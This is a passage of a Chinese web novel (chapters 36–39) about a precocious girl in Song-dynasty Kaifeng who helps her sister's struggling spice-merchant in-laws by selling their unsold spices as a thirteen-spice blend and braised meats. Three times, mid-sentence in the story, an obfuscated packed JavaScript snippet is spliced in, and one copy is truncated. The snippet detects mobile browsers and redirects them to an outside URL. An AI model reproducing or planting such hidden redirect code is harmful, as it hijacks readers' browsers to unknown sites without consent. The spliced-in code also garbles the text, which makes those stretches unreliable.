这话惹得两位大人忍俊不禁。刘耘娘刚要道"你也是个孩子"，却突然止住——这小女儿虽年仅六岁，行事说话却似成人般稳妥，连自己遇事都下意识与她商量，还真没把她当成个不懂事的孩子。 吴丽娘倒是心有所悟，问：“说吧，把人支走，想问什么？”她发现这个妹妹可真是个鬼精灵，不能像对待稚子一样对待。 吴悦敛了笑意，正色道："大姐姐是为什么动了胎气？姐夫最近可是遇着难处了？朱家的生意......"她压低声音，"可还安好？" 很多时候，事情单独看并无不妥，但若串联起来便耐人寻味。 现在想想，好端端的，怎么一个店铺的账房和管事竟同时告假还乡，铺子也仓促转卖。当时，她还去看过店铺，还疑惑为什么里面会留了很多发霉的香料。 去年五月份，她们母女头一回来拜访朱家，居然只有一个老仆在门外迎接，一路行来也没遇上几个仆从。 更蹊跷的是，涴涴说原先的乳母被调走照顾弟弟了。这东京城的大户人家，哪个不是由乳娘哺养到五六岁？一个乳娘照顾一个婴儿那可是会从牙牙学语直至成人婚嫁。许多姑娘出阁时都要带着乳娘，日后这乳娘也便成了宅中的管事娘子。朱家何时这么拮据，连个给金孙的乳娘都找不到？ 这些都是不寻常之处，不细细深究，很容易被忽视。 刘耘娘刚想训小女儿怎么又乱说话，突然听到一声幽叹，愕然望着满面苦涩的大女儿。 “小妹真是观察细致，还以为我藏的很好。”吴丽娘长舒一口气，愧疚地望着不可置信的母亲，声音有点嘶哑的说，“母亲莫要怪我，实在是不想你还为我操心。” “你这孩子。“刘耘娘扬起手欲打，想要像小时管教女儿一样打过去，却悬在半空缓缓落下，指尖抚过女儿消瘦的面颊，“都怪娘，是娘不够心细，没有看到你现在过得艰难啊......"话音未落，泪水已夺眶而出。 吴丽娘看到把刘耘娘惹哭了，手忙脚乱的拿着手帕就要为母亲擦拭眼泪。 “娘你哭什么，让姐姐接着说，有问题我们解决问题，哭有什么用？”吴悦皱着眉头说，“等会涴涴就回来了，先听姐姐把事情说清楚。"她看向吴丽娘，"朱家究竟出了何事？" 刘耘娘闻言，忙用帕子按了按眼角，她如今倒真有些习惯听小女儿发号施令。一手握着大女儿，一手牵着小女儿，仿佛寻到了主心骨："你妹妹如今拜在大儒门下，被人看重得很。前几天还宴请了朝中大臣，里面还有宰相呢，那可是正一品。" 她拍拍吴丽娘手背，"啥事咱们都能解决，别怕。” 无奈地看了眼她娘，吴悦暗自好笑母亲这番狐假虎威的说辞，也顺着说：“就像娘说的那样，诸位大人我都能说上话，大姐尽可直言。” 吴丽娘倒是有点惊讶，但是最后还是信服了自家母亲和妹妹，遂将事情原委细细道来。 36. 第 36 章 这便不得不提及朱家的营生了——大姐夫朱桓是东京城朱家香铺的继承人，他们祖上从北宋建国起，就向四司六局中香料局专供香料，与太府寺也是长年的合作关系。 可以说在这东京城，朱记香铺堪称香料行的执牛耳者，谁说到都是首屈一指，毕竟谁不想用上与皇室贵胄同款的香品呢？ 但是这两年，情势陡变。 首先是东京城来了一家从江宁府来的大香料商，买了不少铺子，打着江南特色这个噱头，竟将大半达官贵人的生意抢了去。更要命的是去年，居然连宫中的生意也给截胡了。香料局来话，不再遴选朱家的香料，而是选了这江宁府来的周家。 朱桓托遍宫中故旧，却也连香料局监官的面都没能见着。这皇室可是朱家最大的主顾，那些专供皇家的龙涎、沉香瞬间滞销，更不要说原先那些世家大族的老顾客也纷纷转投周氏，如今只剩些零星散户，哪里消费得了这许多存货？库房里的香料都快堆成山了。 朱桓无奈之下，只得另辟蹊径开拓新主顾，因此常往青楼楚馆走动，试图向都知、乐伎推销香料。 那日他又醉醺醺归来，伏在妻子丽娘肩头抽泣道，“香料卖不出去，那些坊司的娘子们都说周氏的香更时兴.....”。 吴丽娘见丈夫满身狼狈，又急又悲，就这么触动了胎气。 “原来就这啊。”松了口气，吴悦还以为这大姐夫做出了什么对不起她姐的事。香料卖不出去，生意受挫而已，小事一桩，能解决。 却不想被刘耘娘狠狠的瞪了一眼，她自知失言，但是这话也不是无的放矢。 想了想，吴悦还是组织了下语言说道：“姐姐等姐夫回来，就让他把卖不出去的香料各给我送来十两来。还有那些霉变的，也包上几包。” 吴丽娘一听，急得撑着床沿欲起："妹妹你要做什么，可别胡来。我大宋律法森严，‘诸贩恶药者，徒一年''。" “霉变香料不可以售卖，这个我晓得。”吴悦不以为意地摆摆手，她可是大大的良民，自然不会做这种坏心肝的事。 “我就想试试能不能回收利用一下，好端端的香料霍霍了，那可是心疼得很，就用坏料练手正合适。” 吴丽娘这才放下心来，宽慰道：“这有什么好心疼的，让你姐夫给你一些下等质量的就好。” 忽又想起什么，“妹妹要是想调香，让你姐夫也给你带一套工具，省得你还要去外面买。” 刘耘娘忙说：“这可舍不得，这工具搬去咱家，怕不是你公婆又有说法，别弄得你难办。” 吴丽娘回握住母亲的手，不以为意地笑："娘你放心，这本来就是给香料世家的孩童幼时玩耍用的，也算是让他们早点适应日后的营生。涴涴也有一套，她还时不时的调一些自己拿去熏帕子玩呢。” “娘，你在说涴涴什么？”清脆童声忽然响起，她们三人说的太专心，竟没有发现朱涴妤已经迈着小短腿跑了进来，手中提着被红线串起来的金色的压胜钱，身后还跟着一个抱着襁褓的年轻妇人，应该就是所说的乳母。 “娘亲说下回让涴涴把自个儿调的香送给你小姨试试。”将小女儿搂在怀里亲昵一番，吴丽娘才腾出双手对着乳母说，“把哥儿抱给我看看。” 这乳母朱氏是朱家远房堂亲，朱涴妤出生时特意从老家寻来的，论辈分还该唤朱桓一声堂表叔。 此刻这乳母却面露难色："大娘子交代过，您身子未大安，只能隔着襁褓看看。" "为何不让娘亲抱弟弟？"朱涴妤也奇怪了，歪着脑袋追问。这个乳娘从小照顾她到大，两人之间很是熟稔。 刘耘娘气得就要发作，攥着衣袖的指节都泛着白，却被吴悦按住肩头。 吴丽娘面色微黯，似乎没想到在自家娘亲和妹妹面前，婆母竟如此不留情面，不给半点尊重。 只见乳母朱氏匆匆瞥向身后，确定没有其他人，才小心翼翼地把襁褓里的婴儿递了过去，小声的说：“娘子快些看看，我被交代了要立刻回去的。” 吴丽娘瞬间绽开笑颜，将婴儿抱入怀中，柔声咿呀逗弄很久："我的儿可知我是娘亲？日后要唤‘阿娘’哟。" 刘耘娘和朱涴妤也凑了上去，争相逗弄这个皱巴巴的新生儿。 吴悦冷眼旁观，随意的瞄了眼襁褓里的孩子，心下暗道，红彤彤的，长得真怪。 她反而将更多的注意力放在这乳娘身上，上下仔细打量着她，见她现在虽然穿着也算华丽，但是手明显有茧子，应当也是穷苦人家出身。 看时间差不多了，乳母朱氏屈膝谢罪："我该回去复命了。"不等吴丽娘反应，已快手将襁褓夺了回去，就抱着孩子头也不回的走了。 吴丽娘还伸着手，似乎还想把孩子抢回来，看着乳母匆匆离去的背影，泪珠簌簌滚落。趴在她怀里的朱涴妤连忙拿自己的衣袖给娘亲拭泪。 没有哪个母亲能受得了女儿的眼泪，刘耘娘这再也忍不住了，起身就想去找人算账。"朱家也太过分了！我倒要问问秦大娘子，哪有不许亲生母亲抱孩儿的道理！" 吴悦一把拉住她，不许她去。 “怎么？你就看人这么欺负你姐姐？”刘耘娘痛心疾首的望着吴悦。 吴家小门小户，孩子都是自己喂养的，吴王氏也从没抢过孩子。事实上，因为儿子吴军常年边境戍边，婆媳两人过得相当融洽，像亲生母女一样。这千辛万苦生下来的孩子连抱都不能抱，看这么一会就要抱走，这还是她这个娘家妈在的情况，背着脸时还不知道怎么欺负自己女儿呢。想起女儿月子里连孩子都不能亲近，刘耘娘眼眶又红了。 “然后呢？"吴悦严肃的问，"这一次大姐的婆母就算看在娘的面子上答应了，等我们回家怎么办，大姐不还是要被婆母制约？我们管的了一时，能管一辈子吗？” 吴丽娘也终于回过神，不再哭泣，只是将女儿搂得更紧些：“娘你放心吧，过几年婆母年纪渐长，孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609451|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不还得还给我吗？”她强行挤出笑容，声音却仍带哽咽。 刘耘娘面色黯然下来，话是这么说的，但是孩子自幼疏离生母，日后又怎么亲近的起来。 内室一时静默，唯有朱涴妤脆生生的童音响起："小姨，我的压胜钱给你拿过来了，你还看吗？” “看，当然看”吴悦笑着接过红线串着的鎏金压胜钱，只见正面浮雕着祥云托玉如意，背面阴刻着"长命百岁"四字吉语。 内室的氛围又回归往常，似乎刚刚的冲突都没有发生，陪着小外甥女又玩了一会后，吴悦就拽着刘耘娘想走。 “你这孩子，娘还想陪你姐姐说说话。”刘耘娘还不想离开，想再多劝慰几句大女儿，挣扎了几下，却发现小女儿力气大的惊人，居然挣脱不开。 “有什么好说的，让你俩在这里继续哭哭啼啼吗？"吴悦冷笑一声。 "与其在此伤春悲秋，咱们还不如早点回去，琢磨怎么把那些卖不出去的香料卖掉。”她转向床榻上的吴丽娘，"大姐此刻便差人去寻姐夫，将香料如数送来。待我解决了朱家的燃眉之急......" 她特意加重语气，"那秦大娘子还要看着姐姐脸色行事。届时莫说抱孩子回屋里自己养，便是将甥儿和姐姐接回吴家小住，让祖母也享受下天伦之乐，那秦大娘子也说不出半个不字。” 吴王氏年纪大了，腿脚不便不良于行。朱家拘着吴丽娘不许回娘家，因此吴王氏就一直没法见这从小照顾到大的大孙女。 刘耘娘半信半疑的问："真能如此？" “自然。”吴悦斩钉截铁的说，俯身亲亲朱涴妤粉扑扑的小脸蛋："涴涴要好好照顾娘亲哦。" 朱涴妤也郑重的点头：“我会的，小姨放心！” 真乖，又亲了口小姑娘，吴悦一脸慈爱的抚过她后颈细软的胎发："乖乖真棒。" 这成熟的表现让刘耘娘又忘记自己小女儿的真实年龄，也豪情万分起来对着大女儿交代：“你且安心调养，朱家的事便交由你妹妹处理。” 说罢，她昂首阔步向外走去，鬓边步摇随着步伐轻颤。走出房门时，忽又驻足吩咐两侧丫鬟："好生侍候你们家娘子。”端着一股武官太太的威风气势凌人的就走了。 吴悦紧随其后，行至门槛处忽又回眸，对着床榻上的姐姐和外甥女展颜一笑："放心吧，交给我便是。"也学着刘耘娘的模样扬起下颌，神情肃然的走了出去。 二人端着架势行至朱府门首，登上青幔牛车。刘耘娘"唰"地放下车帘，朝外喝道："快走！回吴宅！" 啊？ 吴悦还不想回家，难道腾出旬休，这不上课出来趟不容易。 “娘，咱们都来大相国寺了，干脆逛逛市集？”她小心翼翼地建议。 瞪了小女儿一眼，刘耘娘横眉怒叱，"不行，快回家！你忘了刚刚怎么和你大姐保证的。”她胸中憋着一股闷气，势必要做出一些事，定要那秦大娘子好看。 37. 第 37 章 随母亲回到吴宅后，吴悦就被刘耘娘责令在家中等候朱府送香料，自己却继续乘着牛车，携路伯往新宋门去查看城外庄子去了。 刘耘娘本来因为吴氏酪香赚得盆满钵满而沾沾自喜，此刻方知在朱府面前仍显底气不足。为给女儿撑腰，当下决意一定要继续广开财源，定要教那秦大娘子再不敢小觑吴家。 这般从隐忍到激进的转变虽有些极端，倒比母女抱头痛哭强过百倍。 吴悦望着母亲离去的背影，内心却感到欣慰——面子从来都是自己挣的，若不自立，遑论他人看得起。 既然她娘都这么努力，那她自然也不能落后。 转身回了书房，取出狼毫笔，在宣纸上行云流水般写下十三香的配方：八角、桂皮、丁香...... 没错，她要做的就是河南孩子皆知的十三香。 她其实也不知道别的省熟悉不熟悉，但是这个在河南可是万能配料，调凉菜、炒菜、做汤，甚至连花卷里都可以加。 “十三香”就是一种经典的复合香料配方，‘十三’这个数字也并非实指具体历史十三种香料，而是体现这个配方的丰富性。 北宋人很早就调制复合香料作为香方熏制衣物和房间，此时香料的主要成分是沉香、檀香、龙脑香、乳香、苏合香等域外香材，以及丁香、白芷、梅花、薄荷、艾草、八角茴香、桂皮等中原本土的香料。大部分的香熏配方都要以沉香或者檀香为主，但是八角、肉桂、丁香亦是常用的主香材料，能提供稳定基础香气，再辅以小茴香、陈皮作为辅助香。 比如被称为文人书房香的黑龙挂香里就有良姜、细辛、川芎作为辅助香。 但是对于复合香料用在药方和饮食中的使用在北宋时期还处在摸索阶段。 其实早在唐朝，孙思邈所著的《备急千金要方》就首次记载了治疗‘热毒瓦斯卒肿，痛结作核，或似痈疖而非，使人头痛、寒热气急者，数日不除’的五香汤配方，就是用青木香、沉香、丁香、乳香、藿香五味药材煎煮而成。 但在，几百年后，香料仍主要用于熏香使用，大量含香料的药方，比如《太平惠民和剂局方》《经史证类备急本草》现在还尚未成书。 而在饮食中，她们吴氏食店，用的也是葱姜蒜这类五辛和巴蜀来的豆酱，头牌菜品炙肉双麻饼里的炙肉在烹饪时就添加了桂皮、八角和香叶，可以去掉猪肉的腥味的同时增甜且激发鲜香，因此极其受到食客的欢迎。 这也就是吴悦找到的商机，将朱家滞销的香料一部分拿出来做成十三香。在六十年后，十三香才由一个东京城的一家药铺首先研制，用它做的菜那是一个鲜香醇厚，香气浓郁，层次丰富，据传那是引得众人纷纷排队购买。 至于另外一部分滞销的香料，她决定研制特色菜品。在后世，紫苏梅子、紫苏烤鱼在长沙街头处处可见。更不要说陈皮排骨、陈皮红豆沙，这可是可是粤菜的代表。 而朱姐夫送来的，卖不出去的也恰好是这些大量收购的本土香料。想来也是，那些沉香和檀香、乳香这种名贵的进口香料，只要便宜一二售卖，是绝不可能堆积腐烂。 十三香其实没有固定的配比，根据食材特性调整就好，如果是牛羊肉类就多加点草果去膻，减去陈皮和山楂，不然会太酸。如果是海鲜就可以加一些香叶，突出清香，减少丁香、木香这种味大的，防止鲜味被掩盖。川渝地方喜欢吃麻辣的就多加花椒、藤椒。 主打的就是一个差不多、约莫着放、多试几次，味道就试出来了。和西方菜谱里的几克，几勺有着本质的区别。 思及此，她已是馋涎欲滴，当即吩咐青枣速往肉铺采购新鲜猪肉。先试试卤味系列，卤制猪耳、猪头肉、猪蹄、猪肝等部位堪称一绝啊，配着米饭一起吃，这就有点广东特色猪脚饭的感觉了。 反正也需要调试最符合北宋饮食偏好的卤料配方，既能满足研发需求，又可满足口腹之欲，真是一举两得。 -------------------------------------------------- 无论南北口味差异，通过八角、桂皮、香叶等十余种香料卤制出的咸鲜回甜的复合口感始终是全体国人的最爱。一千年后能有绝味、周黑鸭、曹氏争芳斗艳，一千年前卤肉也能在东京城掀起潮流。 吴悦已经不想描述她们家添加了十三香后的卤肉在东京城的受欢迎程度，甚至连在公厨吃饭的官员们也会在她家订购卤肉饭当午食。 北宋继承唐制，在尚书省、枢密院等中枢部门设“公厨”，由光禄寺下属的太官署统一调配食材，每日供应两餐（朝食与昼食）。州府设“州厨”，县令则有“县厨”，经费来自地方财政，其初衷是为了集中供餐减少官员往返时间。 她先不评价是不是食堂的集体饭菜太难吃，但是单说免费供应这一点。在京城为官，房租高昂物价飞涨，大部分官员都省吃俭用，面对免费餐食自然趋之若鹜，但是他们居然会抛弃免费餐食来订餐，这就是彻底夺走了他们的心。就连三品以上大员，本可享用专属庖厨制作的鱼脍、蒸羊等佳肴，也频繁点闲汉外卖，丝毫不嫌弃猪肉"贱民所食"的刻板印象。 甚至，还衍生出职业绰号，唤她们家为"卤肉吴"。 当然这是一种奖励，更是对个人技艺的承认。这种将姓氏与技艺绑定的命名方式，就是早期"品牌"雏形，比如“宋五嫂鱼羹”名噪一时，因此称为羊羹宋，糖人赵、烧饼张等都是如此。 但是讨厌她们家，和她们家有利益竞争的酒楼老板，则不屑地以含贬义的绰号称呼她娘为"豕肉婆"或"吴倌儿"。 当前，目前这还没传到刘耘娘耳中。这是店里经常接济的那些小乞儿跑来告知吴悦的，甚至提议要帮她报仇，比如他们可以趁夜往那些店门板上投掷羊粪。 吴悦当即制止了他们。 这可是属于“秽污之物于街巷”的行为，是会被处以杖刑的。就算他们夜晚偷偷的丢，可是那些店家都和街道司素有着良好的关系，躲起来监控那可是一抓一个准。通常身份低下的人触犯律例往往会受到更严厉的处罚，他们这群小乞丐说不定会被活活打死。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15613955|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 要知道这北宋的城管可比后世的还要霸道，他们身着统一的青衫制服，专门负责街道环卫工作，还可以享受专项经费并领取绩效奖金，被称为“洒道之费”。 只不过因为斗不过而无能狂怒而已，她反而不是很担心，怕的反而是那些暗藏祸心、不声不吭、背后阴你小人的。不过这也算给她提了醒，决定着手强化后厨与店内的食品安全卫生管理。 她特意给全体工作人员开了个会，让他们警惕有人故意在碗中投放苍蝇讹诈，或捏造食用后腹泻等虚假症状寻衅滋事。严令禁止使用变质食材，并要求店内持续点燃由香茅草、艾草、薄荷制成的驱虫香。如果有食客来滋事，要第一反应寻找官府报官，将人证和物证都留下。切记不许与那些人在店内争执，并且要对所有在店消费，受到影响的顾客送上一份菜品作为补偿。 -------------------------------------- 这天，吴悦坐着牛车来到了大相国寺旁新买的店面，这家糕点坊自清明节起便已正式营业。 她兑现了与蔡翠兰等人的约定，签订了雇佣契约。事实证明，有野心的人总能脱颖而出。 蔡翠兰不仅是那群人里最快学会土窑的，甚至还自我设计出了好看的包装礼盒。吴悦就让她来负责推出寒食特色食品，也就是用艾草汁和糯米粉蒸制的青团。 她也并未局限于传统口味的馅料，比如豆沙，枣泥、芝麻花生。在听到吴悦提出创新咸口青团的建议后，结合东京城最流行的包子口味，研制出三种咸馅青团：以蕨菜、嫩笋、瘦猪肉末为馅的笋蕨猪肉馅；荠菜、豆腐干为馅的荠菜豆腐干馅；羊肉、香菇、熟栗子碎的五香羊肉丁馅。 吴悦本身只是想在这东京城内各色各样的糕点铺里杀出一条血路，就跟后世的螺蛳粉味的月饼，麻辣牛肉味的月饼一样，搞个噱头，制造话题吸引人们争论。 却没想到，咸口青团引发抢购热潮。看来国人吃货和猎奇的心是古之就有，而这三种咸馅为北宋食客带来了全新味觉体验。最终他们不得不连夜加班赶制更多咸口青团，以满足市场需求。 其他糕点店铺见状，也纷纷推出咸口青团，但是作为首个吃螃蟹的人，还是她们吴家的糕点铺得到市场红利最多。 在持续两周热销时令青团后，她才通知蔡翠兰逐步缩减产量，转而推广用土窑烤制的桃酥、老婆饼，油炸沙琪玛，蒸制米糕，以及北宋时下流行的枣糕、糖脆油果、麻团、酥蜜食。还有每日烤制两炉基础款面包（也就是豆沙面包和蜂蜜老蛋糕），并且实行限购政策。 尽管只是最简单的款式，但一出炉就被排队等候的大户人家婢女抢购一空。因其绵柔湿润的口感，这些面包尤其受后宅妇人青睐，时有勋贵小姐们遣婢女专程上门要求增加供应量。 她也授意蔡翠兰回复："待青团下架后，人手充裕时自会增加面包产量，并且还会推出全新口味。" 这样视察了下糕点店，在牛车内默默计算了下客流量，吴悦对经营状况颇为满意，这才驱车前去朱府。 38. 第 38 章 今日是小外甥朱芎的百日宴。 在古代，由于婴儿存活率低，百日宴作为庆祝婴儿平安度过危险期的重要仪式，承载着健康成长的美好寓意，及其很受重视。 按照习俗，婴儿需在这一天剃除胎发，象征"从头开始"，寓意健康成长。长辈们也会赠送银质或金质长命锁，其上錾刻"长命百岁"等吉祥铭文，寓意驱邪避灾、福寿绵延。主家还会设宴款待宾朋，宴席中提供象征长寿的食物（如面条、寿桃），亲友则馈赠衣物、玩具或红包。 她借口以"为大姐二姐购置团家福"为由，即店内所有糕点组合而成的礼盒，才被刘耘娘单独放了出来。 没错，二姐吴绮娘在3天前和二姐夫杜充一起从南阳来了这东京城，现暂住在太医局为外地医官提供的赁宅中。 杜充的族叔杜研，经太医局考试选拔，成了现任掌管大方脉（治大人杂病）的教授，近日在京中遇到一个特殊病人，特意书信给南阳杜氏宗族长老，恳请借阅族中秘藏的古方典籍。因为该药方属家族不传之秘，故特别以公文形式征调二姐夫入京参与教材修订，并携带药方进京。 半个月前刘耘娘才收到二女婿的来信，说会不日进京。然而三天前，赶在百日宴前，他们一行就来了。这是绮娘特意加紧行程，想参加小外甥的百日宴。 全家都希望绮娘能住回娘家，但是无奈家中实在没有空的房子可以安置。二姐夫杜充也表示，赁宅毗邻太医局，方便他在医局培训进修。 没错，杜研认为这是一个很好的精进医术的良机，侄子杜充的从九品医学博士乃凭借着医药世家的地位承袭而来。但这孩子自幼便展现出惊人天分，六岁就通读《神农本草经》，十二岁即在族中医馆见习问诊，十八岁就对医术却颇有专研，已经可以单独出诊。但是地方上对医术的精研毕竟帮助有限，东京城不仅病患众多且多疑难杂症，待进修后可与医局的局生一起参与考试，成绩优秀者甚至还可以进入翰林医官院任职，为皇亲国戚看病，这可是天大的荣耀。 不同于太医局侧重医学教育与人才培养，翰林医官院专为皇室、大臣及驻军提供医疗服务，兼管医官考核与派遣。以侄子杜充的天赋，杜研相信他日后佩戴鱼符加“检校官”衔，也不是不可能的事。 听到二女儿以后也会在东京城生活，刘耘娘自然喜不自胜。虽说杜充能否留京尚待考试结果，但全家对其医术皆深具信心。 这也不是盲目自信，杜充与杜研所属的南阳杜氏，其先祖正是医圣张仲景的弟子杜度。作为医圣传人，杜氏在南阳的名气之大，路上随便拉个三岁孩童，都能指出杜氏医馆在何处。 ---------------------------------------------------- 吴悦与青枣携两大礼盒"全家福"糕点款步入内，径至来到了安置娘家的侧厅。 刘耘娘正拉着依偎在祖母身旁的绮娘絮絮叮嘱，催促她尽早物色宅邸，最好与自家比邻而居。 吴绮娘笑得花枝乱颤，握着母亲的手道："医者街这名字虽贴合官人身份，但是这条街的房价太高了。他家中尚有幼弟，婆母岂会拨巨款供我们来东京城挥霍？倒不如娘你先看看有没有可以租赁的，我们先租赁一年。如若官人能成功考入翰林医官院，留在宫中为贵人们看病，届时再购置房产也不迟，还能有个名头向族中要钱呢。” 刘耘娘想了想，深以为然，打算等会回家就去找牙人速速看房。 吴王氏也是时隔一年再见这疼爱有加二孙女，作为祖辈，当然更关心孩子问题，就追问打算何时生。 吴绮娘这时才赧然垂首："官人之前说我的身子没养好，不适合有孕。本来过年时我们就在商量此事，但是恰逢调令进京，就只能暂且搁置下了。" 她年方十八，三年前嫁入杜家。杜家长辈深谙医理，主张女子十七岁后方宜生育，如此母婴安康。对儿子杜充，也是亦待弱冠之年才让其相看。 吴绮娘与杜充的姻缘还是始于医馆。 南阳地区素有中医养生之风俗，殷实人家年过六旬的长辈每年必至医馆调理。杜充就是在医馆邂逅陪同祖母问诊的吴绮娘，惊为天人，立誓非卿不娶。 按着杜氏在南阳百年医药世家的家风，杜氏子弟自然不愁嫁娶，杜充为迎娶心上人却费了一番周折。这位平素淡泊名利、偏爱隐于乡野研究疑难杂症的青年，一直以"小大夫"身份在族中医馆坐诊。但是为了争取婚姻自主权，他竟一反常态参加族内大考并拔得头筹，最终承袭杜家医学博士之职，只为了能让族中同意他迎娶吴绮娘。 吴绮娘和长姐吴丽娘虽然都是美人，气质却迥然不同。不同于姐姐清冷典雅，浑身做派就如翰林人家的千金一样。绮娘反而慵懒娇憨，日常举止随性散漫，经常被斥其"坐没坐相、站没站相"，举手投足之间自有一番娇媚之态。刘耘娘一直很担心女儿这般姿态有碍婚嫁，果不其然，绮娘及笄前后相看整整一年，虽得青年才俊青睐，却都被他们的母亲婉拒。 谁料某日陪同祖母就诊时，绮娘与这年轻的杜郎中随意攀谈数语，竟逗得对方满面通红、语无伦次。此后杜充竟每日亲自至吴宅出诊，名为诊疗，实则只为一睹佳人芳容。 刘耘娘见这位为婆母诊病的青年郎中仪表堂堂，年纪轻轻便已坐堂问诊。虽然观其家世可能普通，但是冲着他对婆母看病这个尽心尽力，暗想谁家能保无病无灾呢，有个大夫做女婿这不是近水楼台先得月？遂私下询问女儿心意，未料绮娘竟然也属意此人。 原来吴绮娘起初只是想逗逗这位面白如玉的青年郎中。她深知自己慵懒之态常遭非议，甚至有相看郎君捎信劝她收敛举止，声称愿说服他们的娘亲接纳她。这番言论让她看到就来气，直接将书信撕得粉碎。 但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625134|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个年轻郎中，却从来没有评论过她日常举止，拿她生性放荡说教，反而说这其实为血虚之症，嘱其她多晒日光，并以《黄帝内经》食补之法为其调理，时常亲制药膳送至吴家，称可调和气血。 她素来讨厌豆腐和芝麻的的土腥气，也讨厌羊肉的膻味，只喜欢吃新鲜水果、果脯，或者甜腻之物。在这样被投喂了三个月，每日以黑芝麻红枣丸、杏仁豆腐辅以山药炖鸡汤，竟渐渐气色好了起来，手脚也不再冰凉。这般悉心照料下，对这个面白郎中自然有了不一样的情愫，因此在被母亲追问时，她也支支吾吾的说愿意。 刘耘娘正发愁如何试探这个郎中底细，询问他家里几口人，营生是什么，孰料竟有官媒主动上门提亲。至此她才得知，这个年轻郎中居然是杜家这代最优秀的子弟，还力挫族中竞争者承袭医学博士之职。 原来杜氏宗族甚是看重杜充，早便想让他继承家中世代的医官职位。但是杜充志在悬壶济世，专爱为百姓诊治疑难杂症，认为富贵人家多为膏粱之疾，于医术精进无益，是以屡屡推辞。 但是普一见吴绮娘，他平时古井无波的医者心境就无法安静下来。 即便诊得吴王氏不过富贵之症，杜充仍然坚持每日上门，借复诊之名需要调整药方，实则就只为一睹心上人芳容。知道吴绮娘在婚嫁圈因举止随性遭人非议，城中媒妁皆不看好。为了能娶得美人归，他毅然返家与族老谈判，以参加族内大考为条件，既为争取自主择偶权，也是为了谋得官身后，好请官媒正式提亲，为心上人争得脸面。 刘耘娘和吴王氏没想到这杜充用情至此，也不执意等着吴父从西北回来，立刻就给两人办了婚事。 吴悦作为这段良缘的促成者，也见证了杜充为接近心上人所付出的努力。在发现无法再借吴王氏病症上门问诊后，杜充就把视线转向未来的小姨子。这位原本专攻大方脉（成人杂病）的医者，竟转而研习小方脉（儿童杂病）。这么历练下来，居然成了跨科的能手，也未尝不是意外惊喜。 看到妹妹回来了，还提着她心心念念的糕点，吴绮娘竟如孩童般雀跃起身，伸手便欲抢夺食盒。 她本身就喜欢甜食，自嫁入杜家后常被夫君管束不得以甜腻之物当正餐，此刻早按捺不住馋虫，打算趁人不在偷偷多吃几个。 恰好此时，吴丽娘也拉着女儿朱涴妤进来步入厅中。看到小姨手上的食盒，朱涴妤也欢呼一声扑上前去。 吴悦只感觉两道身影如乳燕投林般袭来，快要把她压倒，幸好刘耘娘和吴丽娘各自拉住一人，才让她安安稳稳的把食盒放在桌子上。 掰下一小半桃酥置于女儿掌心，待其安分伏在怀中进食后，吴丽娘才腾出空和祖母说话。自从嫁来东京朱家，已经有五年没有见过祖母吴王氏了，全靠书信和娘亲、小妹传话。这次百日宴，吴王氏也是不顾天寒地冻，执意要出席，来给自己的曾外孙送上贺礼。 39. 第 39 章 “我那曾外孙呢？”握着大孙女的手，吴王氏上下端详其气色，发现坐蓐期调养得宜，满意的点点头。 “尚在后宅由婆母照看，待宴席开始了才会被带出来。” 吴丽娘自幼承欢祖母祖父膝下，这感情自是不一般。这嫁入东京富豪之家，虽然丈夫体恤，但是因为五载未育男丁，常常是遭人轻慢冷待。这两个月，因为小妹援手朱家，她的处境也比原来改善很多。连此前不得相见的幼子，也可以时不时由乳母抱至她房内待上一个时辰。 "给祖母、岳母请安。"朱恒偕杜充适时入内，两人一起向侧厅内的长辈行揖礼，复又向妻妹见礼。杜充顺手给还在啃桃酥的朱涴妤摸了摸脉，让她伸出舌苔查看，又问了问她最近的睡眠和饮食可正常。 朱涴妤也很是配合，不等她娘回复，直接抢话，脆生生抢话说今早还多吃了碗蒸蛋。 杜充三天前方携妻抵京，安置妥当后，次日就陪着妻子回了娘家，给阖府上下所有人都号了一遍脉。得出家中老小皆康健，就连一年没见的小姨子，也壮得像只小牛。 今日白间，他还在医局忙着办理调令，申请旁听资格及来年考核资格，而后才有空上门来大姨子府上道贺新生儿百日宴。 他满脸宠溺地望着嘴角沾着糕屑的娇妻，自袖中取绢帕给她擦拭嘴角，又端起案上的香茶劝她喝下帮助消化。吴绮娘媚眼微抬，就着丈夫手中茶盏轻啜一口。 这般缱绻情态，直教吴悦寒毛直竖——这对小夫妻全然不顾满座长辈和稚子，旁若无人地耳鬓厮磨，肆无忌惮的发狗粮，简直太过分了。 还是把这片天地留给这俩小夫妻，吴悦刚好看到正陪着妻子与祖母说话的大姐夫，心念一动趋步上前。 